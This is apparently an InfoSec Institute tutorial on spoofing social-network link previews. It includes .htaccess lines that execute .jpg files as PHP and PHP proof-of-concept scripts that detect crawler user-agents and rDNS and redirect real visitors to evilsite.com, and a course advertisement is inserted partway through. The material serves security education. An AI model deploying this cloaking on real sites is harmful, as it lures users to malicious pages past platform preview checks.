Web Application vulnerabilities in social networking sites are very common these days. In this article, we will discuss a vulnerability found in social networking sites which make it possible to spoof the content shown to the user.

Basically, whenever someone wants to share, post or send a link on Facebook or some other social networking site, a request goes through from their servers to the link which the user wants to share. This happens because Facebook (or that particular social networking site) wants to display a quick snapshot of what appears in the link to the user.

However, these requests by social networking sites are easily identifiable: due either to the user-agent field in the headers of the incoming requests to the server, or through their source IP address that resolves to a particular domain name. Hence, it is possible for a malicious person to differentiate between the requests coming from the social networking sites and those coming from the users.

The attacker can then display a simple image when the request is coming from Facebook so that on Facebook, the snapshot appears to be that of a simple image. When the user clicks the link on Facebook however, the attacker can know that the request is from the user by checking the user-agent field and redirect him to a malicious website.

That Easily Identifiable Request

Let’s say I want to share a link (http://google.com) on my Timeline. Whenever I type the link, Facebook automatically identifies it as a url and sends a request to http://google.com. This is because it wants to display a quick snapshot of what actually appears to be in the link. As we can see from the image below, Facebook has displayed a quick snapshot of how http://google.com appears like today.


These requests to the google.com server are easily identifiable. The user-agent of the incoming request is an indication of the social networking site being used, or else the IP address of the incoming request resolves to a particular domain name. For example, Facebook uses a custom user-agent with the name “facebookexternalhit” and have their IP addresses resolve to tfbnw.net, whereas Google+ uses a custom user-agent with the name “Feedfetcher-Google”.

By using some custom php code like “$_SERVER['HTTP_USER_AGENT']” to get the user-agent value and “gethostbyaddr($_SERVER[‘REMOTE_ADDR’])” to resolve the IP address, we can easily identify whether the request is coming from a social networking site like Google+ or Facebook or just a regular user.

Implementation

One of the most important things necessary to implement this is to have a domain and an access to a publicly reachable server. We will have a .jpg on our server which will have the php code to identify the user-agent or IP address and display the response accordingly. However, in order for the php code to be run in the jpg file, the jpg file must be interpreted as a php file by the server. The following two lines when added in the .htaccess file will serve our purpose. The code has been taken from http://www.blackhatacademy.org/security101/Facebook


AddType x-httpd-php .jpg

AddHandler application/x-httpd-php .jpg

The first line assures that any .jpg file will be interpreted as a php file, whereas the second line assures that any file with the extension .jpg will be treated as a php program.

Once this is done, we need to have the php code in our .jpg file on the server. The following lines of code demonstrate the exploit code for Facebook, Google+ and Websense. The code has been taken from http://www.blackhatacademy.org/security101/Facebook with the comments and the code a bit modified.


<!--?<span class="hiddenSpellError" pre=""-->php

# User agent checking methods
#user-agent string for Facebook
$fb_string = '/facebookexternal/i';
#user-agent string for GooglePlus
$gplus_string = '/Feedfetcher-Google/i';       .
# rDNS Lookup Methods
# Websense Host
$host_websense = '/<a href="http://websense.com/i" target="_blank">websense.com/i</a>';
# facebook host
$host_fb = '/<a href="http://tfbnw.net/i" target="_blank">tfbnw.net/i</a>';
# Load the request properties
# Load the user-agent
$u_agent = $_SERVER['HTTP_USER_AGENT'];
# Load the http-referrer
$u_ref     = $_SERVER['HTTP_REFERER'];
#Resolve the Remote address to a domain
$u_host  = gethostbyaddr($_SERVER['<wbr>REMOTE_ADDR']);</wbr>
# If we're coming from or facebook or websense or google plus,
if (preg_match($host_fb,$u_host) || preg_match($host_websense,$u_<wbr>host) || preg_match($fb_string,$u_<wbr>agent) || preg_match($gplus_string,$u_<wbr>agent)) {</wbr></wbr></wbr>
# Display an image
header('Content-Type: image/jpeg');
@readfile ('/var/www/localhost/cute_<wbr>kitten.jpeg');
} else {
# Rickroll this unsuspecting user
header('Location: <a href="http://evilsite.com/" target="_blank">http://evilsite.com</a>');
}
?>

The code is pretty simple to understand. We check the user-agent, and the IP address of the incoming request. If the user-agent is identified as that of either Facebook, Google Plus or Websense, then we know that this could be a request to take a snapshot of the url. Hence we display an image present on our server. Note that we also need to modify the Content-Type of the response to make it appear as an image.

Therefore, on the social networking site (say Facebook), the snapshot of the url appears as an image. However, when the user clicks on the url, this time the user-agent is not of Facebook, Google+ or Websense- instead, it is the user-agent of the user itself. The php code identifies this as a regular user and redirects him to his malicious website (in this case evilsite.com).

Similarly, the POC code for Reddit is demonstrated below. This code has been taken from http://www.chokepoint.net/?id=5


<!--?<span class="hiddenSpellError" pre=""-->php
# User agent checking methods
$reddit_string = '/redditbot/i';
# Load the request properties
$u_agent = $_SERVER['HTTP_USER_AGENT'];
# If we're coming from or facebook or websense or google plus,
if ( preg_match($reddit_string, $u_agent) ) {
# Display an image
header('Content-Type: image/jpeg');
header('Content-Transfer-<wbr>Encoding: binary');</wbr>
header('Content-Length: ' .  filesize('real_image.jpeg'));
@readfile ('real_image.jpeg');
} else {
# Rickroll this unsuspecting user
header('Location: <a href="http://www.youtube.com/watch?v=dQw4w9WgXcQ%27" target="_blank">http://www.youtube.com/watch?<wbr>v=dQw4w9WgXcQ'</wbr></a>);
}
?>

There is also a POC facebook application available at http://www.chokepoint.net/?id=5. It allows us to input both an image and a redirect URL. As you can see below, I have given the input image as the Google Logo, whereas the redirect url is http://youtube.com.


Once this is done, click on Submit. You will see a “like” button, a “send” button and a “Reddit this!” button appear. You can now send this request to yourself to check this vulnerability.

Want to learn more?? The InfoSec Institute Web Application Penetration Testing Boot Camp focuses on preparing you for the real world of Web App Pen Testing through extensive lab exercises, thought provoking lectures led by an expert instructor. We review of the entire body of knowledge as it pertains to web application pen testing through a high-energy seminar approach.

The Web Application Penetration Testing course from InfoSec Institute is a totally hands-on learning experience. From the first day to the last day, you will learn the ins and outs of Web App Pen Testing by attending thought provoking lectures led by an expert instructor. Every lecture is directly followed up by a comprehensive lab exercise (we also set up and provide lab workstations so you don't waste valuable class time installing tools and apps). Benefits to you are:

  • Get CWAPT Certified
  • Learn the Secrets of Web App Pen Testing in a totally hands-on classroom environment
  • Learn how to exploit and defend real-world web apps: not just silly sample code
  • Complete the 83 Step "Web App Pen Test Methodology", and bring a copy back to work with you
  • Learn how perform OWASP Top 10 Assessments: for PCI DSS compliance

Here is what the sent message looks like. As you can see, the snapshot contains the image of the google URL.

However, when we click on the url, we will be redirected to youtube.com. Try this yourself to see!

Protection Against Content Forgery

One of the ways to prevent from Content Forgery is to spoof the user-agent field to look like it is coming from a normal user. Another method could be to spoof the user-agent field as the user-agent of the user itself (i.e the user who is sharing or posting the link).

Conclusion

In this article, we examined a vulnerability caused by easily identifiable  requests made via Social Networking sites. Hence, these can be filtered out from legitimate requests made by users. We’ve seen how this allows us to spoof the content which is actually appearing on the site. This could be used to redirect the users to malicious web pages through these social networking sites simply because the original snapshot of the url looks pretty simple and harmless.

References

  1. Facebook-Security 101
    http://www.blackhatacademy.org/security101/Facebook
  1. Facebook and Reddit Content Forgery
    http://www.chokepoint.net/?id=5
  1. XSCF
    http://www.blackhatacademy.org/security101/XSCF